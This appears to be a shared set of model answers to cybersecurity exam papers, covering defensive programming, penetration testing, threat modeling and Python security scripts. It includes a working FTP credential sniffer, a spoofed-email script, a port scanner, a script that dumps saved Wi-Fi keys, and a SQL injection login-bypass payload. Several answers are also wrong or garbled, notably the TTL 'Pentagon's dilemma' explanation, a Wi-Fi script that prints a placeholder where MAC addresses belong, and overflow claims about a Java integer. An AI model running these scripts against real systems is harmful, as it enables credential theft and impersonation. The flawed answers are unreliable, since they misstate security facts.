0% found this document useful (0 votes)
2 views14 pages

Defensive Programming

The document provides answers to various cybersecurity exam questions covering topics such as defensive programming, penetration testing, secure code review, threat modeling, and network security. It discusses the importance of defensive programming, differentiates between vulnerability assessment and penetration testing, and outlines steps for both processes. Additionally, it includes Python scripts for tasks like sniffing FTP credentials, establishing client-server communication, and detecting physical locations of IP addresses.

Uploaded by

akhilpapa303
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
2 views14 pages

Defensive Programming

The document provides answers to various cybersecurity exam questions covering topics such as defensive programming, penetration testing, secure code review, threat modeling, and network security. It discusses the importance of defensive programming, differentiates between vulnerability assessment and penetration testing, and outlines steps for both processes. Additionally, it includes Python scripts for tasks like sniffing FTP credentials, establishing client-server communication, and detecting physical locations of IP addresses.

Uploaded by

akhilpapa303
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 14

Here are the answers to the provided exam questions: Date:17 Jul 2023

Q.1 (a) Describe the defensive programming importance as a cybersecurity expert. If web
application code is vulnerable, then what possible threats may occur?

Defensive Programming Importance:

Defensive programming is a practice to write code that functions correctly even under unforeseen
circumstances or malicious inputs. It enhances:

1. Security: Protects against unauthorized access or data breaches.

2. Stability: Ensures application resilience to errors.

3. Maintainability: Simplifies debugging and reduces system vulnerabilities.

Possible Threats Due to Vulnerable Web Application Code:

1. SQL Injection: Exploiting database queries.

2. Cross-Site Scripting (XSS): Injecting malicious scripts into web pages.

3. Remote Code Execution (RCE): Running unauthorized code.

4. Sensitive Data Exposure: Unauthorized access to personal or financial information.

5. Denial of Service (DoS): Overloading systems to disrupt services.

Q.1 (b) Differentiate between vulnerability assessment and penetration testing. Discuss the steps
of the Penetration Testing Method with an appropriate diagram.

Difference:

Aspect Vulnerability Assessment Penetration Testing

Purpose Identifies potential weaknesses. Exploits vulnerabilities to assess impact.

Scope Broad and non-intrusive. Targeted and intrusive.

Output Risk report. Exploitability report.

Steps of Penetration Testing:

1. Planning: Define scope and objectives.

2. Reconnaissance: Gather information about the target.

3. Scanning: Identify vulnerabilities using tools.

4. Exploitation: Attempt to exploit weaknesses.

5. Reporting: Document findings with recommendations.

Q.2 (a) Discover improper input validation and likelihood of exploit in the below code.
Code Example:

public static final double price = 20.00;

int quantity = currentUser.getAttribute("quantity");

double total = price * quantity;

chargeUser(total);

Improper Input Validation:

 The code does not validate the quantity input, allowing invalid or malicious values.

Likelihood of Exploits:

1. Negative Values: Charging a negative amount.

2. Injection Attacks: Supplying executable code.

3. Buffer Overflow: Passing extremely large values causing system crashes.

Q.2 (b) What is the full form of PASTA? Summarize the threat modeling process of PASTA with the
desired property of each threat.

Full Form:

PASTA: Process for Attack Simulation and Threat Analysis.

Process:

1. Define Objectives: Align business and security goals.

2. Define the Technical Scope: Identify systems and boundaries.

3. Decompose the Application: Understand data flows and assets.

4. Threat Analysis: Identify and classify threats.

5. Attack Simulation: Simulate possible attack vectors.

6. Risk Analysis: Rank threats based on impact and likelihood.

7. Mitigation Strategy: Develop countermeasures.

Q.3 (a) Discover and print previously connected wireless networks along with their MAC addresses
using Python script.

import subprocess

def get_wifi_profiles():

networks = subprocess.check_output("netsh wlan show profiles", shell=True)


profiles = [line.split(":")[1].strip() for line in networks.decode().split("\n") if "All User Profile" in
line]

for profile in profiles:

details = subprocess.check_output(f"netsh wlan show profile \"{profile}\" key=clear", shell=True)

if "Key Content" in details.decode():

mac = "MAC Address Info Unavailable in Windows cmd directly"

print(f"Network: {profile}, MAC: {mac}")

get_wifi_profiles()

Q.3 (b) Build a Python script to establish communication between client and server using the
socket module.

Server Script:

import socket

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind(("127.0.0.1", 8080))

server.listen(1)

print("Server listening...")

conn, addr = server.accept()

print(f"Connection from {addr}")

message = conn.recv(1024).decode()

print(f"Message received: {message}")

conn.send("Acknowledged".encode())

conn.close()

Client Script:

import socket

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

client.connect(("127.0.0.1", 8080))

client.send("Hello Server!".encode())
response = client.recv(1024).decode()

print(f"Server Response: {response}")

client.close()

Q.4 (a) What is SSH? Discover the use of methods of pexpect Python package which are used for
SSH connection.

SSH (Secure Shell):

A protocol for securely connecting to remote servers or devices using encryption.

pexpect Methods:

1. spawn: Starts an SSH session.

2. expect: Waits for a specific output.

3. sendline: Sends commands.

4. read: Reads the command output.

Example with pexpect:

import pexpect

ssh = pexpect.spawn('ssh user@host')

ssh.expect('password:')

ssh.sendline('your_password')

ssh.expect('$')

ssh.sendline('ls')

ssh.expect('$')

print(ssh.before.decode())

Q.5 (a) Who is the developer of the Metasploit Project? Explain how the Pentagon’s dilemma was
solved using TTL fields?

Developer:

The Metasploit Project was developed by H. D. Moore in 2003.

TTL Fields and Pentagon’s Dilemma:

 TTL (Time-To-Live): A field in an IP packet that limits its lifetime in the network.

 Pentagon’s Dilemma: Attackers used spoofed IP addresses to avoid detection.


 Solution: By analyzing the TTL values in packets, discrepancies between actual and spoofed
IP locations were identified, allowing the Pentagon to trace and mitigate attacks.

Q.5 (b) Write a Python script to detect a target IP’s physical location with latitude and longitude
using the pyGeoIP module.

import pygeoip

def get_geolocation(ip_address):

gi = pygeoip.GeoIP('GeoLiteCity.dat') # Ensure the GeoLiteCity.dat file is downloaded

record = gi.record_by_addr(ip_address)

if record:

print(f"Latitude: {record['latitude']}, Longitude: {record['longitude']}")

else:

print("IP location not found.")

# Example Usage

get_geolocation('8.8.8.8') # Replace with target IP

Q.5 (a) Criticize the operation Aurora and how the obvious was missed.

Operation Aurora Overview:

 A series of cyberattacks in 2009 targeting Google and other companies.

 Attackers exploited a vulnerability in Internet Explorer.

Critique:

1. Lack of Patch Management: Companies failed to apply timely updates for known
vulnerabilities.

2. Insufficient Monitoring: Intrusions were not detected early due to inadequate logging.

3. Weak Endpoint Security: Lack of advanced endpoint protection allowed malware to spread.

Q.5 (b) Write a Python script for sniffing FTP credentials.

from scapy.all import *

def sniff_ftp_credentials(packet):
if packet.haslayer(TCP) and packet.haslayer(Raw):

payload = packet[Raw].load.decode(errors="ignore")

if 'USER' in payload or 'PASS' in payload:

print(f"Captured: {payload}")

# Example Usage

sniff(filter="tcp port 21", prn=sniff_ftp_credentials, store=0)

Q.5 (b) Build a Python script for Windows Memory Forensics - Memory Capture and Analysis.

import os

def capture_memory():

dump_file = "memory_dump.dmp"

os.system(f"winpmem.exe {dump_file}") # Use winpmem to capture memory

print(f"Memory dump saved to {dump_file}")

def analyze_memory():

# Use volatility for analysis

os.system("volatility -f memory_dump.dmp --profile=Win7SP1x64 pslist")

# Capture and Analyze

capture_memory()

analyze_memory()

Here are the answers to the provided exam questions: 28 Feb 2023

Q.1 (a) What is penetration testing? Explain different phases of it.

Penetration Testing:

Penetration Testing (Pen Testing) is a simulated cyberattack on a system to identify vulnerabilities


that could be exploited by attackers.

Phases of Penetration Testing:

1. Planning and Reconnaissance: Define the scope and gather information (e.g., domains, IPs).
2. Scanning: Identify live hosts and vulnerabilities using tools like Nmap.

3. Exploitation: Attempt to exploit vulnerabilities to gain access.

4. Reporting: Document findings and recommend remediation steps.

Q.1 (b) What software do you need to install for practice penetration testing? Explain each.

1. Kali Linux: A Linux-based OS with tools like Metasploit, Wireshark, and Nmap.

2. Burp Suite: Used for web application security testing.

3. OWASP ZAP: Automated tool for finding security issues in web apps.

4. Metasploit Framework: Platform for developing and executing exploits.

5. Nmap: Network scanning and vulnerability detection.

Q.2 (a) What is Secure Code Review? List out Secure Code Review checklist.

Secure Code Review:

It is the process of analyzing source code to identify vulnerabilities before deployment.

Checklist:

1. Input validation and sanitization.

2. Proper error handling.

3. Secure database queries (e.g., prepared statements).

4. Authentication and authorization mechanisms.

5. Use of secure APIs.

6. No hardcoded credentials or sensitive data.

Q.2 (b) What is threat modeling? Explain key steps of threat modeling process.

Threat Modeling:

A process to identify potential security threats, vulnerabilities, and countermeasures.

Key Steps:

1. Identify Assets: Determine what needs protection.

2. Identify Threats: Use models like STRIDE.

3. Analyze Vulnerabilities: Identify weaknesses in the system.

4. Mitigation Planning: Implement measures to reduce risks.


Q.3 (a) What is HTML 5? Explain how it is different from HTML 4.

HTML5:

The latest version of the HTML standard for structuring web content.

Differences:

1. Multimedia Support: HTML5 includes support for <audio> and <video> tags.

2. Simpler Syntax: Reduced need for plugins like Flash.

3. New Elements: Tags like <article>, <section>, and <canvas> for semantic structure.

Q.3 (b) What is Socket in a network? Explain 2 types of it.

Socket:

A socket is an endpoint for communication between two machines over a network.

Types:

1. Stream Socket (TCP): Reliable, connection-oriented communication.

2. Datagram Socket (UDP): Unreliable, connectionless communication.

Q.4 (a) How do you send spoofed email using Python?

import smtplib

def send_spoofed_email():

smtp_server = "smtp.example.com"

sender = "[email protected]"

recipient = "[email protected]"

subject = "Spoofed Email"

message = "This is a spoofed email."

email = f"From: {sender}\nTo: {recipient}\nSubject: {subject}\n\n{message}"

with smtplib.SMTP(smtp_server) as server:

server.sendmail(sender, recipient, email)

send_spoofed_email()
Q.4 (b) Write a Python code to build Port Scanner.

import socket

def port_scanner(target, ports):

for port in ports:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.settimeout(1)

result = sock.connect_ex((target, port))

if result == 0:

print(f"Port {port} is open")

sock.close()

# Example Usage

port_scanner("127.0.0.1", range(20, 1025))

Q.5 (a) What is Registry Hive? Explain it.

Registry Hive:

A registry hive is a logical group of keys, subkeys, and values in the Windows Registry, which stores
configuration data for the OS and applications.

Common Hives:

 HKEY_CLASSES_ROOT (HKCR): Information about file associations.

 HKEY_CURRENT_USER (HKCU): Configuration for the logged-in user.

Q.5 (b) How do you parse PDF Metadata?

Methods to Parse Metadata:

1. Using PyPDF2 Library:

from PyPDF2 import PdfReader

reader = PdfReader("example.pdf")

metadata = reader.metadata
print(metadata)

2. Using ExifTool: Run exiftool example.pdf to extract metadata.

Q.5 (a) Firesheep Detection: Protecting Online Identities

Firesheep was a tool that exploited a vulnerability in web applications to hijack user sessions. This
allowed attackers to steal cookies and gain unauthorized access to user accounts on various
websites, including social media platforms and online banking services.

To detect Firesheep attacks, users can employ several strategies:

1. Keep Software Updated: Ensure that your web browser and operating system are up-to-date
with the latest security patches.

2. Use HTTPS: Whenever possible, use websites that use HTTPS, as it encrypts communication
between your browser and the server, making it more difficult for attackers to intercept data.

3. Be Cautious on Public Wi-Fi: Avoid accessing sensitive accounts on public Wi-Fi networks, as
they are less secure.

4. Use a VPN: A VPN encrypts your internet traffic, providing an additional layer of protection.

5. Install Security Extensions: Browser extensions like HTTPS Everywhere and NoScript can help
protect your privacy and security.

6. Be Aware of Phishing Attacks: Be cautious of suspicious emails and links that may lead to
malicious websites.

Here are the answers to the provided exam questions: 29 Jan 2024

Q1 (a)

List software vulnerabilities along with appropriate defensive programming solutions. If an android
application code is vulnerable, then which possible threats may occur?

1. Common Software Vulnerabilities and Defensive Solutions:

o SQL Injection: Use parameterized queries or ORM frameworks.

o Cross-Site Scripting (XSS): Validate and sanitize all user inputs and use content
security policies.

o Buffer Overflow: Employ bounds checking and avoid unsafe functions like strcpy().

o Authentication Flaws: Implement multi-factor authentication and secure password


hashing algorithms (e.g., bcrypt, PBKDF2).

o Insecure Data Storage: Encrypt sensitive data with strong algorithms (e.g., AES-256).

2. Possible Threats for Android Applications:


o Data Leakage: Sensitive data can be exposed if improperly stored.

o Reverse Engineering: Attackers can decompile APKs; use code obfuscation.

o Insecure Communication: Data interception through unsecured protocols.

o Malicious Code Injection: Exploitation of unvalidated inputs.

Q1 (b)

Discuss the steps of the Penetration Testing Method with a suitable diagram.

1. Steps:

o Planning and Reconnaissance: Understand the scope, gather intelligence.

o Scanning: Identify vulnerabilities using tools like Nmap.

o Gaining Access: Exploit vulnerabilities to breach systems.

o Maintaining Access: Test persistence mechanisms (backdoors, rootkits).

o Analysis and Reporting: Document findings with recommendations.

2. Diagram:

3. [Planning] --> [Scanning] --> [Exploitation] --> [Persistence] --> [Reporting]

Q2 (a)

Discover the possible attacks and likelihood of exploit in the below code.

 Vulnerabilities:

o SQL Injection: Directly concatenating user input into the query exposes the system
to SQL injection.

o Likelihood: High, as attackers can inject SQL commands.

 Exploitation Example: If username = "admin" OR 1=1 --" and password is left empty, the
query becomes:

 SELECT * FROM user_system_data WHERE user_name = 'admin' OR 1=1 --' AND password = ''

Q2 (b)

Differentiate between STRIDE vs. PASTA. Summarize the threat modeling process of PASTA.

1. Differences:

o STRIDE: Focuses on categorizing threats (Spoofing, Tampering, Repudiation,


Information disclosure, Denial of service, Elevation of privilege).

o PASTA: A risk-centric approach considering the entire attack lifecycle.


2. PASTA Steps:

o Define business objectives.

o Identify technical scope.

o Decompose the application.

o Analyze threats.

o Exploit vulnerabilities.

o Analyze risks.

o Report findings.

Q3 (a)

Discover and print previously connected wireless networks along with their MAC address using
Python script.

import subprocess

def get_networks():

networks = subprocess.check_output(["netsh", "wlan", "show", "profiles"]).decode("utf-8").split("\


n")

wifi_list = [line.split(":")[1].strip() for line in networks if "All User Profile" in line]

for wifi in wifi_list:

details = subprocess.check_output(["netsh", "wlan", "show", "profile", wifi,


"key=clear"]).decode("utf-8")

if "Key Content" in details:

print(f"Network: {wifi}")

else:

print(f"Network: {wifi} (no saved password)")

get_networks()

Q3 (b)

Utilize the socket module and build a Python script to establish communication between client and
server.

1. Server Script:

2. import socket
3.

4. server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

5. server_socket.bind(("127.0.0.1", 8080))

6. server_socket.listen(1)

7. print("Server is waiting for connections...")

8.

9. conn, addr = server_socket.accept()

10. print(f"Connected to {addr}")

11.

12. while True:

13. data = conn.recv(1024).decode()

14. if data.lower() == 'exit':

15. break

16. print(f"Client: {data}")

17. conn.send(input("Server: ").encode())

18.

19. conn.close()

20. Client Script:

21. import socket

22.

23. client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

24. client_socket.connect(("127.0.0.1", 8080))

25.

26. while True:

27. message = input("Client: ")

28. client_socket.send(message.encode())

29. if message.lower() == 'exit':

30. break

31. print(f"Server: {client_socket.recv(1024).decode()}")

32.

33. client_socket.close()

You might also like